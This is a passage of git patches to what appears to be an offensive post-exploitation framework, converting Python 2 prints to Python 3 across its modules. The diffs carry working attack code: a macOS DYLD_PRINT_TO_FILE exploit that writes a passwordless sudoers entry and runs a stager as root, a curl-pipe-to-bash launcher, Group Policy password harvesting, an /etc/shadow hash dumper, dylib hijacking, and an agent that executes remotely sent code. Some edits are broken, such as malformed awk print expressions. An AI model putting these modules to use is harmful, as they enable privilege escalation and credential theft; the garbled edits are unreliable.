\\'%%s\\' to extract faux re-export info' %% (os.path.split(attackerDYLIB)[1]) + print(' [+] parsing \\'%%s\\' to extract faux re-export info' %% (os.path.split(attackerDYLIB)[1])) #open attacker's .dylib fileHandle = open(attackerDYLIB, 'rb+') @@ -389,13 +389,13 @@ def configureReExport(attackerDYLIB, targetDYLIB): if not reExportOffsets or not len(reExportOffsets): #err msg - print 'ERROR: failed to find \\'LC_REEXPORT_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1]) + print('ERROR: failed to find \\'LC_REEXPORT_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1])) #bail return False #dbg msg - print ' found \\'LC_REEXPORT_DYLIB\\' load command at offset(s): %%s' %% (reExportOffsets) + print(' found \\'LC_REEXPORT_DYLIB\\' load command at offset(s): %%s' %% (reExportOffsets)) ''' struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }; @@ -415,13 +415,13 @@ def configureReExport(attackerDYLIB, targetDYLIB): commandSize = struct.unpack('i.e. sanity checks if not checkPrereqs(attackerDYLIB, targetDYLIB): #err msg - print 'ERROR: prerequisite check failed\\n' + print('ERROR: prerequisite check failed\\n') #bail return "" @@ -516,13 +516,13 @@ def configure(attackerDYLIB, targetDYLIB): if not configure(attackerDYLIB, targetDYLIB): #err msg - print 'ERROR: failed to configure %%s\\n' %% (os.path.split(targetDYLIB)[1]) + print('ERROR: failed to configure %%s\\n' %% (os.path.split(targetDYLIB)[1])) #bail return "" #dbg msg - print ' [+] copying configured .dylib to %%s' %% (configuredDYLIB) + print(' [+] copying configured .dylib to %%s' %% (configuredDYLIB)) #make a (local) copy w/ name shutil.copy2(attackerDYLIB, configuredDYLIB) @@ -537,7 +537,7 @@ def configure(attackerDYLIB, targetDYLIB): os.remove(configuredDYLIB) #dbg msg - print '\\nHijacker created, renamed to %%s, and copied to %%s' %% (configuredDYLIB,vrpath) + print('\\nHijacker created, renamed to %%s, and copied to %%s' %% (configuredDYLIB,vrpath)) import base64 import uuid diff --git a/lib/modules/python/situational_awareness/network/dcos/chronos_api_add_job.py b/lib/modules/python/situational_awareness/network/dcos/chronos_api_add_job.py index 7411bddf6..94731bf39 100644 --- a/lib/modules/python/situational_awareness/network/dcos/chronos_api_add_job.py +++ b/lib/modules/python/situational_awareness/network/dcos/chronos_api_add_job.py @@ -158,7 +158,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): except Exception as e: print("Failure sending payload: " + str(e)) -print "Finished" +print("Finished") """ %(target, port, name, command, owner, ownerName, description, schedule, last) return script diff --git a/lib/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.py b/lib/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.py index c056a40bc..be7799ece 100644 --- a/lib/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.py +++ b/lib/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.py @@ -119,11 +119,11 @@ def get_method(self, *args, **kwargs): 'Gecko/20140205 Firefox/27.0 Iceweasel/25.3.0') opener = urllib2.build_opener(urllib2.HTTPHandler) content = opener.open(request).read() - print str(content) + print(str(content)) except Exception as e: - print "Failure sending payload: " + str(e) + print("Failure sending payload: " + str(e)) -print "Finished" +print("Finished") """ %(target, port, name) return script diff --git a/lib/modules/python/situational_awareness/network/dcos/chronos_api_start_job.py b/lib/modules/python/situational_awareness/network/dcos/chronos_api_start_job.py index ab14b6603..3d305750d 100644 --- a/lib/modules/python/situational_awareness/network/dcos/chronos_api_start_job.py +++ b/lib/modules/python/situational_awareness/network/dcos/chronos_api_start_job.py @@ -118,11 +118,11 @@ def get_method(self, *args, **kwargs): 'Gecko/20140205 Firefox/27.0 Iceweasel/25.3.0') opener = urllib2.build_opener(urllib2.HTTPHandler) content = opener.open(request).read() - print str(content) + print(str(content)) except Exception as e: - print "Failure sending payload: " + str(e) + print("Failure sending payload: " + str(e)) -print "Finished" +print("Finished") """ %(target, port, name) return script diff --git a/lib/modules/python/situational_awareness/network/dcos/etcd_crawler.py b/lib/modules/python/situational_awareness/network/dcos/etcd_crawler.py index 2d3c36531..b5c567d06 100644 --- a/lib/modules/python/situational_awareness/network/dcos/etcd_crawler.py +++ b/lib/modules/python/situational_awareness/network/dcos/etcd_crawler.py @@ -126,7 +126,7 @@ def get_etcd_keys(target, port, path, depth): def main(): k = get_etcd_keys(target, port, "/", depth) - print str(k) + print(str(k)) main() diff --git a/lib/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.py b/lib/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.py index 31dbf0225..1d7089a3c 100644 --- a/lib/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.py +++ b/lib/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.py @@ -118,11 +118,11 @@ def get_method(self, *args, **kwargs): 'Gecko/20140205 Firefox/27.0 Iceweasel/25.3.0') opener = urllib2.build_opener(urllib2.HTTPHandler) content = opener.open(request).read() - print str(content) + print(str(content)) except Exception as e: - print "Failure sending payload: " + str(e) + print("Failure sending payload: " + str(e)) -print "Finished" +print("Finished") """ %(target, port, appId) return script From ff97ed672f7baf767b0932813638124b9f6f65a4 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Mon, 13 Apr 2020 19:49:35 -0400 Subject: [PATCH 06/14] final python3 print statement fixes --- .../collection/osx/native_screenshot_mss.py | 2 +- .../privesc/linux/linux_priv_checker.py | 10 +-- .../privesc/linux/unix_privesc_check.py | 86 +++++++++---------- .../python/privesc/osx/dyld_print_to_file.py | 8 +- .../privesc/windows/get_gpppasswords.py | 18 ++-- lib/modules/python_jobs_template.py | 2 +- 6 files changed, 63 insertions(+), 63 deletions(-) diff --git a/lib/modules/python/collection/osx/native_screenshot_mss.py b/lib/modules/python/collection/osx/native_screenshot_mss.py index 4a4ff7c5e..f4fceba2f 100644 --- a/lib/modules/python/collection/osx/native_screenshot_mss.py +++ b/lib/modules/python/collection/osx/native_screenshot_mss.py @@ -102,7 +102,7 @@ def run(data): file = m.shot(mon=%s,output='%s') raw = open(file, 'rb').read() run_command('rm -f %%s' %% (file)) - print raw + print(raw) run(data) """ % (module_data, self.options['Monitor']['Value'], self.options['SavePath']['Value']) diff --git a/lib/modules/python/privesc/linux/linux_priv_checker.py b/lib/modules/python/privesc/linux/linux_priv_checker.py index 7392012d8..273b6432f 100644 --- a/lib/modules/python/privesc/linux/linux_priv_checker.py +++ b/lib/modules/python/privesc/linux/linux_priv_checker.py @@ -424,14 +424,14 @@ def writeResults(msg, results): print(" Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!") print - print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" + print(" The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system") for exploit in highprob: - print " - " + exploit - print + print(" - " + exploit) + print("") - print " The following exploits are applicable to this kernel version and should be investigated as well" + print(" The following exploits are applicable to this kernel version and should be investigated as well") for exploit in avgprob: - print " - " + exploit + print(" - " + exploit) print("Finished") print(bigline) diff --git a/lib/modules/python/privesc/linux/unix_privesc_check.py b/lib/modules/python/privesc/linux/unix_privesc_check.py index d8fbd8897..a40d4dd22 100644 --- a/lib/modules/python/privesc/linux/unix_privesc_check.py +++ b/lib/modules/python/privesc/linux/unix_privesc_check.py @@ -244,12 +244,12 @@ def generate(self, obfuscate=False, obfuscationCommand=""): get_owner () { GET_OWNER_FILE=$1 - GET_OWNER_RETURN=`ls -lLd "$GET_OWNER_FILE" | awk '{print $3}'` + GET_OWNER_RETURN=`ls -lLd "$GET_OWNER_FILE" | awk '{print($3)}'` } get_group () { GET_GROUP_FILE=$1 - GET_GROUP_RETURN=`ls -lLd "$GET_GROUP_FILE" | awk '{print $4}'` + GET_GROUP_RETURN=`ls -lLd "$GET_GROUP_FILE" | awk '{print($4)}'` } usage () { @@ -818,7 +818,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): section "Recording Interface IP addresses" if [ "$OS" = "hpux" ]; then - for IFACE in `lanscan | grep x | awk '{print $5}' 2>/dev/null`; do + for IFACE in `lanscan | grep x | awk '{print($5)}' 2>/dev/null`; do ifconfig $IFACE 2>/dev/null done else @@ -924,8 +924,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if [ "$OS" = "linux" ]; then passwd -S -a | while read LINE do - USER=`echo "$LINE" | awk '{print $1}'` - STATUS=`echo "$LINE" | awk '{print $2}'` + USER=`echo "$LINE" | awk '{print($1)}'` + STATUS=`echo "$LINE" | awk '{print($2)}'` if [ "$STATUS" = "NP" ]; then echo "[UPC015] WARNING: User $USER doesn't have a password" fi @@ -933,8 +933,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): elif [ "$OS" = "solaris" ]; then passwd -s -a | while read LINE do - USER=`echo "$LINE" | awk '{print $1}'` - STATUS=`echo "$LINE" | awk '{print $2}'` + USER=`echo "$LINE" | awk '{print($1)}'` + STATUS=`echo "$LINE" | awk '{print($2)}'` if [ "$STATUS" = "NP" ]; then echo "[UPC016] WARNING: User $USER doesn't have a password" fi @@ -983,7 +983,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): section "Checking permissions on swap file(s)" if [ "$OS" = "hpux" ]; then - for SWAP in `swapinfo| grep -v '^dev' | awk '{print $9}'`; do + for SWAP in `swapinfo| grep -v '^dev' | awk '{print($9)}'`; do check_perms "$SWAP is used for swap space." $SWAP root check_read_perms "$SWAP is used for swap space." $SWAP root done @@ -1010,7 +1010,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if [ -d "$DIR" ] && [ -r "$DIR/pg_hba.conf" ]; then grep -v '^#' "$DIR/pg_hba.conf" | grep -v '^[ \\t]*$' | while read LINE do - AUTH=`echo "$LINE" | awk '{print $NF}'` + AUTH=`echo "$LINE" | awk '{print($NF)}'` if [ "$AUTH" = "trust" ]; then PGTRUST=1 echo "[UPC019] WARNING: Postgres trust configured in $DIR/pg_hba.conf: $LINE" @@ -1043,8 +1043,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if [ "$OS" = "linux" ]; then mount | while read LINE do - DEVICE=`echo "$LINE" | awk '{print $1}'` - FS=`echo "$LINE" | awk '{print $5}'` + DEVICE=`echo "$LINE" | awk '{print($1)}'` + FS=`echo "$LINE" | awk '{print)$5)}'` if [ "$FS" = "ext2" ] || [ "$FS" = "ext3" ] ||[ "$FS" = "reiserfs" ]; then echo "Checking device $DEVICE" check_perms "$DEVICE is a mounted file system." $DEVICE root @@ -1053,14 +1053,14 @@ def generate(self, obfuscate=False, obfuscationCommand=""): elif [ "$OS" = "bsd" ]; then mount | grep ufs | while read LINE do - DEVICE=`echo "$LINE" | awk '{print $1}'` + DEVICE=`echo "$LINE" | awk '{print($1)}'` echo "Checking device $DEVICE" check_perms "$DEVICE is a mounted file system." $DEVICE root done elif [ "$OS" = "solaris" ]; then mount | grep xattr | while read LINE do - DEVICE=`echo "$LINE" | awk '{print $3}'` + DEVICE=`echo "$LINE" | awk '{print($3)}'` if [ ! "$DEVICE" = "swap" ]; then echo "Checking device $DEVICE" check_perms "$DEVICE is a mounted file system." $DEVICE root @@ -1075,7 +1075,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): elif [ "$OS" = "hpux" ]; then mount | while read LINE do - DEVICE=`echo "$LINE" | awk '{print $3}'` + DEVICE=`echo "$LINE" | awk '{print($3)}'` C=`echo $DEVICE | cut -c 1` if [ "$C" = "/" ]; then echo "Checking device $DEVICE" @@ -1111,7 +1111,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): grep -v '^#' /etc/crontab | grep -v '^[ \\t]*$' | grep '[ \\t][^ \\t][^ \\t]*[ \\t][ \\t]*' | grep run-parts | while read LINE do echo "Processing crontab run-parts entry: $LINE" - USER=`echo "$LINE" | awk '{print $6}'` + USER=`echo "$LINE" | awk '{print($6)}'` DIR=`echo "$LINE" | sed 's/.*run-parts[^()&|;\\/]*\\(\\/[^ ]*\\).*/\\1/'` check_perms "$DIR holds cron jobs which are run as $USER." "$DIR" "$USER" if [ -d "$DIR" ]; then @@ -1135,8 +1135,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): grep -v '^#' /etc/crontab | grep -v '^[ ]*$' | grep '[ ][^ ][^ ]*[ ][ ]*' | while read LINE do echo "Processing crontab entry: $LINE" - USER=`echo "$LINE" | awk '{print $6}'` - PROG=`echo "$LINE" | sed 's/(//' | awk '{print $7}'` + USER=`echo "$LINE" | awk '{print($6)}'` + PROG=`echo "$LINE" | sed 's/(//' | awk '{print($7)}'` check_called_programs "$PROG is run from crontab as $USER." $PROG $USER $MYPATH done else @@ -1145,7 +1145,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): # Do this if run-crons is run from /etc/crontab if [ -n "$CRONDIRS" ]; then - USER=`echo "$CRONDIRS" | awk '{print $6}'` + USER=`echo "$CRONDIRS" | awk '{print($6)}'` section "Checking /etc/cron.(hourly|daily|weekly|monthly)" for DIR in hourly daily weekly monthly; do if [ -d "/etc/cron.$DIR" ]; then @@ -1179,7 +1179,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): grep -v '^#' "$FILE" | grep -v '^[ \\t]*$' | grep '[ \\t][^ \\t][^ \\t]*[ \\t][ \\t]*' | while read LINE do echo "Processing crontab entry: $LINE" - PROG=`echo "$LINE" | sed 's/(//' | awk '{print $6}'` + PROG=`echo "$LINE" | sed 's/(//' | awk '{print($6)}'` check_called_programs "$PROG is run via cron as $USER." "$PROG" $USER done else @@ -1207,7 +1207,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): grep -v '^#' "$FILE" | grep -v '^[ \\t]*$' | grep '[ \\t][^ \\t][^ \\t]*[ \\t][ \\t]*' | while read LINE do echo "Processing crontab entry: $LINE" - PROG=`echo "$LINE" | sed 's/(//' | awk '{print $6}'` + PROG=`echo "$LINE" | sed 's/(//' | awk '{print($6)}'` check_called_programs "$PROG is run from cron as $USER." $PROG $USER $MYPATH done else @@ -1224,9 +1224,9 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if [ -f /etc/inetd.conf ] && [ -r /etc/inetd.conf ]; then grep -v '^#' /etc/inetd.conf | grep -v '^[ \\t]*$' | while read LINE do - USER=`echo $LINE | awk '{print $5}'` - PROG=`echo $LINE | awk '{print $6}'` # could be tcpwappers ... - PROG2=`echo $LINE | awk '{print $7}'` # ... and this is the real prog + USER=`echo $LINE | awk '{print($5)}'` + PROG=`echo $LINE | awk '{print($6)}'` # could be tcpwappers ... + PROG2=`echo $LINE | awk '{print($7)}'` # ... and this is the real prog if [ -z "$PROG" ] || [ "$PROG" = "internal" ]; then # Not calling an external program continue @@ -1306,7 +1306,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): section "Checking fscaps programs" if [ "$OS" = "linux" -a -x /sbin/getcap ]; then if [ "$MODE" = "detailed" ]; then - for FILE in `find / -type f -perm +0011 -exec /sbin/getcap {} \\; 2>/dev/null | grep "=" | awk '{print $1}'`; do + for FILE in `find / -type f -perm +0011 -exec /sbin/getcap {} \\; 2>/dev/null | grep "=" | awk '{print($1)}'`; do /sbin/getcap $FILE check_called_programs_fscaps $FILE FSCAPSSCRIPT=`file $FILE | grep script` @@ -1361,7 +1361,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): section "Checking classpath permissions for Java processes" ps -ef | grep -i '\\-classpath' | grep -v grep | while read LINE do - U=`echo $LINE | awk '{print $1}'` + U=`echo $LINE | awk '{print($1)}'` CLASSPATH=`echo $LINE | sed 's/.*classpath //' | sed 's/ .*//'` for P in `echo $CLASSPATH | sed 's/:/ /g'`; do check_perms "$P is in the classpath for a java process run by $U." "$P" $U @@ -1374,7 +1374,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if [ -n "$AGENTS" ]; then echo "[UPC028] WARNING: There are SSH agents running on this system:" ps -ef | grep ssh-agent | grep -v grep - # for PID in `ps aux | grep ssh-agent | grep -v grep | awk '{print $2}'`; do + # for PID in `ps aux | grep ssh-agent | grep -v grep | awk '{print($2)}'`; do for SOCK in `ls /tmp/ssh-*/agent.* 2>/dev/null`; do SSH_AUTH_SOCK=$SOCK; export SSH_AUTH_SOCK AGENT_KEYS=`ssh-add -l | grep -v 'agent has no identities.' 2>/dev/null` @@ -1418,33 +1418,33 @@ def generate(self, obfuscate=False, obfuscationCommand=""): # use the output of ps command ps -ef -o user,comm | while read LINE do - USER=`echo "$LINE" | awk '{print $1}'` - PROG=`echo "$LINE" | awk '{print $2}'` + USER=`echo "$LINE" | awk '{print($1)}'` + PROG=`echo "$LINE" | awk '{print($2)}'` check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" done elif [ "$OS" = "aix" ]; then # use the output of ps command ps -ef -o user,comm | while read LINE do - USER=`echo "$LINE" | awk '{print $1}'` - PROG=`echo "$LINE" | awk '{print $2}'` + USER=`echo "$LINE" | awk '{print($1)}'` + PROG=`echo "$LINE" | awk '{print($2)}'` check_called_programs "`which $PROG` is currently running as $USER." "`which $PROG`" "$USER" done elif [ "$OS" = "bsd" ]; then # use the output of ps command ps aux | while read LINE do - USER=`echo "$LINE" | awk '{print $1}'` - PROG=`echo "$LINE" | awk '{print $11}'` + USER=`echo "$LINE" | awk '{print($1)}'` + PROG=`echo "$LINE" | awk '{print($11)}'` check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" done elif [ "$OS" = "hpux" ]; then # use the output of ps command ps -ef | while read LINE do - USER=`echo "$LINE" | awk '{print $1}'` - PROG1=`echo "$LINE" | awk '{print $8}'` - PROG2=`echo "$LINE" | awk '{print $9}'` + USER=`echo "$LINE" | awk '{print($1)}'` + PROG1=`echo "$LINE" | awk '{print($8)}'` + PROG2=`echo "$LINE" | awk '{print($9)}'` if [ -f "$PROG1" ]; then check_called_programs "$PROG is currently running as $USER." "$PROG1" "$USER" fi @@ -1461,7 +1461,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): echo "PID: $PID" if [ -d "$PROCDIR" ]; then if [ -r "$PROCDIR/exe" ]; then - PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print $NF}'` + PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print($NF)}'` else if [ -r "$PROCDIR/cmdline" ]; then P=`cat $PROCDIR/cmdline | tr "\\0" = | cut -f 1 -d = | grep '^/'` @@ -1522,7 +1522,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): false fi if [ "$OS" = "hpux" ]; then - NX=`kmtune -q executable_stack | grep executable_stack | awk '{print $2}'` + NX=`kmtune -q executable_stack | grep executable_stack | awk '{print($2)}'` if [ "$NX" -eq 1 ]; then echo "[UPC034] WARNING: No NX" elif [ "$NX" -eq 2 ]; then @@ -1530,7 +1530,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): fi fi if [ "$OS" = "linux" ]; then - ASLR=`sysctl kernel.randomize_va_space | awk '{print $3}'` + ASLR=`sysctl kernel.randomize_va_space | awk '{print($3)}'` if [ "$ASLR" -eq 0 ]; then echo "[UPC036] WARNING: No ASLR" elif [ "$ASLR" -eq 1 ]; then @@ -1553,7 +1553,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): echo "PID: $PID" if [ -d "$PROCDIR" ]; then if [ -r "$PROCDIR/exe" ]; then - PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print $NF}'` + PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print($NF)}'` else if [ -r "$PROCDIR/cmdline" ]; then P=`cat $PROCDIR/cmdline | tr "\\0" = | cut -f 1 -d = | grep '^/'` @@ -1593,7 +1593,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): echo "[UPC042] WARNING: SSP not enabled" fi done - find / -type f -exec /sbin/getcap {} \\; 2>/dev/null | grep "=" | awk '{print $1}' | while read PROGPATH; do + find / -type f -exec /sbin/getcap {} \\; 2>/dev/null | grep "=" | awk '{print($1_}' | while read PROGPATH; do echo "Program path: $PROGPATH" /sbin/getcap $PROGPATH SSP=`objdump -D $PROGPATH | grep stack_chk` @@ -1612,13 +1612,13 @@ def generate(self, obfuscate=False, obfuscationCommand=""): start_webserver(data, ip, port, serveCount) except Exception as e: pass - #print e + #print(e) try: process = subprocess.Popen('curl -s %s | bash -s %s 2> /dev/null', stdout=subprocess.PIPE, shell=True) result = process.communicate() result = result[0].strip() - print result + print(result) except Exception as e: - print e + print(e) """ %(ip,port,serveCount,url,privSetting) return script diff --git a/lib/modules/python/privesc/osx/dyld_print_to_file.py b/lib/modules/python/privesc/osx/dyld_print_to_file.py index 318c93619..9ec7020fa 100644 --- a/lib/modules/python/privesc/osx/dyld_print_to_file.py +++ b/lib/modules/python/privesc/osx/dyld_print_to_file.py @@ -118,16 +118,16 @@ def generate(self, obfuscate=False, obfuscationCommand=""): fileName = self.options['FileName']['Value'] script = """ import os -print "Writing Stager to {filename}..." +print("Writing Stager to {filename}...") file = open("{fullpath}","w") file.write("{filecontents}") file.close() -print "Attempting to execute stager as root..." +print("Attempting to execute stager as root...") try: os.system("echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo /bin/sh {fullpath} &") - print "Successfully ran command, you should be getting an elevated stager" + print("Successfully ran command, you should be getting an elevated stager") except: - print "[!] Could not execute payload!" + print("[!] Could not execute payload!") """.format(fullpath=fullPath, filecontents=launcher, filename=fileName) diff --git a/lib/modules/python/privesc/windows/get_gpppasswords.py b/lib/modules/python/privesc/windows/get_gpppasswords.py index 9cdc5866c..ade6b4139 100644 --- a/lib/modules/python/privesc/windows/get_gpppasswords.py +++ b/lib/modules/python/privesc/windows/get_gpppasswords.py @@ -120,24 +120,24 @@ def generate(self): out,err = output2.communicate() -print subprocess.Popen('mkdir /Volumes/sysvol', shell=True, stdout=subprocess.PIPE).stdout.read() +print(subprocess.Popen('mkdir /Volumes/sysvol', shell=True, stdout=subprocess.PIPE).stdout.read()) cmd = \"""mount_smbfs //'{};{}:{}'@{}/SYSVOL /Volumes/sysvol""\".format(ext,name,password,LDAPAddress) -print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() -print "Searching for Passwords...This may take some time" +print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) +print("Searching for Passwords...This may take some time") xmls = subprocess.Popen('find /Volumes/sysvol -name *.xml', shell=True, stdout=subprocess.PIPE).stdout.read() cmd1 = \"""cat {}""\".format(xmls) result = subprocess.Popen(cmd1, shell=True, stdout=subprocess.PIPE).stdout.read() -print "" +print("") for usermatch in re.finditer(r'userName="(.*?)"|newName="(.*?)"|cpassword="(.*?)"', result, re.DOTALL): - print usermatch.group(0) + print(usermatch.group(0)) -print "" -print subprocess.Popen('diskutil unmount force /Volumes/sysvol/', shell=True, stdout=subprocess.PIPE).stdout.read() -print "" -print "Finished" +print("") +print(subprocess.Popen('diskutil unmount force /Volumes/sysvol/', shell=True, stdout=subprocess.PIPE).stdout.read()) +print("") +print("Finished") diff --git a/lib/modules/python_jobs_template.py b/lib/modules/python_jobs_template.py index 6733f93ac..4568f4c5a 100644 --- a/lib/modules/python_jobs_template.py +++ b/lib/modules/python_jobs_template.py @@ -75,6 +75,6 @@ def generate(self): job_message_buffer(msg) x += 1 except Exception as e: - print e + print(e) """ return script From d8c7d021d6a081fe369ccda9813c17a38e38fef6 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Sun, 19 Apr 2020 22:12:59 -0400 Subject: [PATCH 07/14] fixed error in python tasking --- data/agent/agent.py | 10 +++--- .../python/collection/linux/hashdump.py | 35 +++++++++++++++---- 2 files changed, 35 insertions(+), 10 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index 3c91a7d85..11b139e94 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -133,7 +133,6 @@ def build_response_packet(taskingID, packetData, resultID=0): | 2 | 2 | 2 | 2 | 4 | | +------+--------------------+----------+---------+--------+-----------+ """ - packetType = struct.pack('=H', taskingID) totalPacket = struct.pack('=H', 1) packetNum = struct.pack('=H', 1) @@ -187,8 +186,8 @@ def parse_task_packet(packet, offset=0): packetNum = struct.unpack('=H', packet[4+offset:6+offset])[0] resultID = struct.unpack('=H', packet[6+offset:8+offset])[0] length = struct.unpack('=L', packet[8+offset:12+offset])[0] - packetData = packet[12+offset:12+offset+length] - remainingData = packet[12+offset+length:] + packetData = packet[12+offset:12+offset+length].decode('UTF-8') + remainingData = packet[12+offset+length:].decode('UTF-8') return (packetType, totalPacket, packetNum, resultID, length, packetData, remainingData) except Exception as e: @@ -203,8 +202,10 @@ def process_tasking(data): try: # aes_decrypt_and_verify is in stager.py tasking = aes_decrypt_and_verify(key, data) + (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking) - + + print("packet parsed") # if we get to this point, we have a legit tasking so reset missedCheckins missedCheckins = 0 @@ -377,6 +378,7 @@ def process_packet(packetType, data, resultID): elif packetType == 100: # dynamic code execution, wait for output, don't save outputPicl try: + print(data) buffer = StringIO() sys.stdout = buffer code_obj = compile(data, '', 'exec') diff --git a/lib/modules/python/collection/linux/hashdump.py b/lib/modules/python/collection/linux/hashdump.py index 34a58cf67..a42cb8043 100644 --- a/lib/modules/python/collection/linux/hashdump.py +++ b/lib/modules/python/collection/linux/hashdump.py @@ -33,7 +33,7 @@ def __init__(self, mainMenu, params=[]): 'Language' : 'python', # the minimum language version needed - 'MinLanguageVersion' : '2.6', + 'MinLanguageVersion' : '3.6', # list of any references/other comments 'Comments': [] @@ -69,14 +69,38 @@ def __init__(self, mainMenu, params=[]): def generate(self, obfuscate=False, obfuscationCommand=""): script = """ +f2 = open("/etc/shadow") +shadow = f2.readlines() +f2.close() + +users = {} + +for line in shadow: + parts = line.strip().split(":") + username, pwdhash = parts[0], parts[1] + users[username] = pwdhash + f = open("/etc/passwd") passwd = f.readlines() f.close() -f2 = open("/etc/shadow") -shadow = f2.readlines() -f2.close() +for line in passwd: + parts = line.strip().split(":") + username = parts[0] + tmp = parts[2:] + print(tmp) + print(":".join(tmp)); + #info = ":".join(tmp) + #print(info) + #if username in users: + # print("%s:%s:%s" %(username, users[username], info)) +""" + + script2 = """ +f = open("/etc/passwd") +passwd = f.readlines() +f.close() users = {} for line in shadow: @@ -89,7 +113,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""): username = parts[0] info = ":".join(parts[2:]) if username in users: - print("%s:%s:%s" %(username, users[username], info)) -""" + print("%s:%s:%s" %(username, users[username], info)) """ return script From f074ef4dbfff0628e492486968f9414ce878cb5d Mon Sep 17 00:00:00 2001 From: Cx01N Date: Sun, 19 Apr 2020 23:46:16 -0400 Subject: [PATCH 08/14] don't ask why...you need to add time.sleep to modules now --- .../python/collection/linux/hashdump.py | 30 ++++--------------- 1 file changed, 6 insertions(+), 24 deletions(-) diff --git a/lib/modules/python/collection/linux/hashdump.py b/lib/modules/python/collection/linux/hashdump.py index a42cb8043..372830882 100644 --- a/lib/modules/python/collection/linux/hashdump.py +++ b/lib/modules/python/collection/linux/hashdump.py @@ -89,30 +89,12 @@ def generate(self, obfuscate=False, obfuscationCommand=""): parts = line.strip().split(":") username = parts[0] tmp = parts[2:] - print(tmp) - print(":".join(tmp)); - #info = ":".join(tmp) - #print(info) - #if username in users: - # print("%s:%s:%s" %(username, users[username], info)) -""" - - script2 = """ -f = open("/etc/passwd") -passwd = f.readlines() -f.close() -users = {} - -for line in shadow: - parts = line.strip().split(":") - username, pwdhash = parts[0], parts[1] - users[username] = pwdhash - -for line in passwd: - parts = line.strip().split(":") - username = parts[0] - info = ":".join(parts[2:]) + info = ':'.join(tmp) + time.sleep(0.01) + print(info) if username in users: - print("%s:%s:%s" %(username, users[username], info)) """ + time.sleep(0.01) + print("%s:%s:%s" %(username, users[username], info)) +""" return script From d2df76233b48620d6d604dbf250903653a384d39 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Sun, 19 Apr 2020 23:48:20 -0400 Subject: [PATCH 09/14] Removed duplicate exec statement from python agent --- data/agent/agent.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index 11b139e94..b733dd0c5 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -205,7 +205,6 @@ def process_tasking(data): (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking) - print("packet parsed") # if we get to this point, we have a legit tasking so reset missedCheckins missedCheckins = 0 @@ -378,14 +377,11 @@ def process_packet(packetType, data, resultID): elif packetType == 100: # dynamic code execution, wait for output, don't save outputPicl try: - print(data) buffer = StringIO() sys.stdout = buffer code_obj = compile(data, '', 'exec') exec(code_obj, globals()) sys.stdout = sys.__stdout__ - code_obj = compile(data, '', 'exec') - exec(code_obj, globals()) results = buffer.getvalue() send_message(build_response_packet(100, str(results), resultID)) except Exception as e: From f5a4a9b0381185ce68d57cd20346a38b0bdbdc9d Mon Sep 17 00:00:00 2001 From: Cx01N Date: Sun, 19 Apr 2020 23:49:08 -0400 Subject: [PATCH 10/14] Removed print statement --- lib/modules/python/collection/linux/hashdump.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/modules/python/collection/linux/hashdump.py b/lib/modules/python/collection/linux/hashdump.py index 372830882..a7dbb15c4 100644 --- a/lib/modules/python/collection/linux/hashdump.py +++ b/lib/modules/python/collection/linux/hashdump.py @@ -91,7 +91,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""): tmp = parts[2:] info = ':'.join(tmp) time.sleep(0.01) - print(info) if username in users: time.sleep(0.01) print("%s:%s:%s" 